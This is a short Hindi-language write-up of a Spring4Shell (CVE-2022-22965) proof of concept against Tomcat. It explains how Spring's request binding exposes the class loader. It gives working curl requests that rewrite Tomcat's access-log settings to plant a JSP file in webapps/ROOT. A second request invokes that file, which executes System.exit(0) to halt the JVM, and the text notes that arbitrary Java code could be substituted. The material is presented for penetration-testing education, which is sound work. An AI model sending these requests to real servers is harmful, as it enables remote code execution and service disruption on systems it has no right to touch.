
शैक्षिक पैठ परीक्षण के लिए क्लास-लोडर हेरफेर के माध्यम से Tomcat को लक्षित करने वाला न्यूनतम Spring4Shell (CVE-2022-22965) शोषण प्रदर्शन, जिसमें चरण-दर-चरण curl-आधारित हमला श्रृंखला शामिल है।
इस लेखन के समय, spring-web request params binding (WebDataBinder), डिफ़ॉल्ट रूप से ऑब्जेक्ट की getClass() विधि तक पहुंच की अनुमति देता है।
यह एक आंतरिक jvm विशिष्ट कार्यान्वयन विवरण है (मेरी विनम्र राय में उजागर नहीं किया जाना चाहिए)।
जैसे, इसकी विशेषताएं बदल सकती हैं और jvm के भविष्य के संस्करणों के साथ विस्तारित हो सकती हैं।
यह अनुरक्षकों के लिए एक निरंतर बोझ बनाता है, दुर्भावनापूर्ण अभिनेता उस शक्तिशाली पहुंच का दुरुपयोग करने के रचनात्मक तरीकों की भविष्यवाणी करने का प्रयास करते हैं।
इस विशेष CVE में, इसका कारण java 9 में शुरू की गई Class::getModule() विधि थी। इसने क्लास-लोडर तक असुरक्षित पहुंच खोल दी।
नीचे दिए गए उदाहरण में हमलावर इसका उपयोग टॉमकैट के एक्सेस लॉगर को पुन: कॉन्फ़िगर करने के लिए करता है। यह सामान्य रूप से सर्वर द्वारा प्राप्त प्रत्येक अनुरोध के बारे में संक्षिप्त जानकारी एक लॉग फ़ाइल में लिखता है। प्रॉपर्टी pattern परिभाषित करती है कि कौन सी जानकारी लिखी जाए,
directory जहां लॉग फ़ाइल रखी जानी चाहिए, prefix, fileDateFormat और suffix फ़ाइल का नाम क्या होना चाहिए।
निम्नलिखित अनुरोध हमारे कमजोर poc-0 एप्लिकेशन के POST एंडपॉइंट को लक्षित करेगा। यह लॉगर को पुन: कॉन्फ़िगर करता है ताकि प्रत्येक संभाले गए अनुरोध के लिए एक <%{e}iSystem.exit(0);%{e}i> लाइन लिखी जाए, एक f.jsp फ़ाइल में webapps/ROOT निर्देशिका में,
जहाँ %{e}i अनुरोध के हेडर e के मान के लिए एक प्लेसहोल्डर है।
यह लॉगर का एक अप्रत्याशित/रचनात्मक उपयोग है और बाकी मानक JSP और टॉमकैट एप्लिकेशन सर्वर की कार्रवाई है।
curl -v -H 'e:%' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25%7be%7diSystem.exit(0);%25%7be%7di>' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=f' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
http://container-ip:8080/poc-0/
थोड़ी देर बाद, एक f.jsp फ़ाइल बनाई जाएगी, टॉमकैट द्वारा उठाई जाएगी, संकलित की जाएगी और ट्रैफिक की सेवा के लिए उजागर की जाएगी।
निम्नलिखित अनुरोध इसे आमंत्रित करता है, जो एक एम्बेडेड System.exit(0); कोड निष्पादित करेगा और उस jvm को रोक देगा जिस पर यह चल रहा है।
curl -v http://container-ip:8080/f.jsp
यह DoS का एक उदाहरण है, लेकिन System.exit(0); एक सामान्य जावा कोड है, इसलिए हमलावर बहुत कुछ कर सकता है।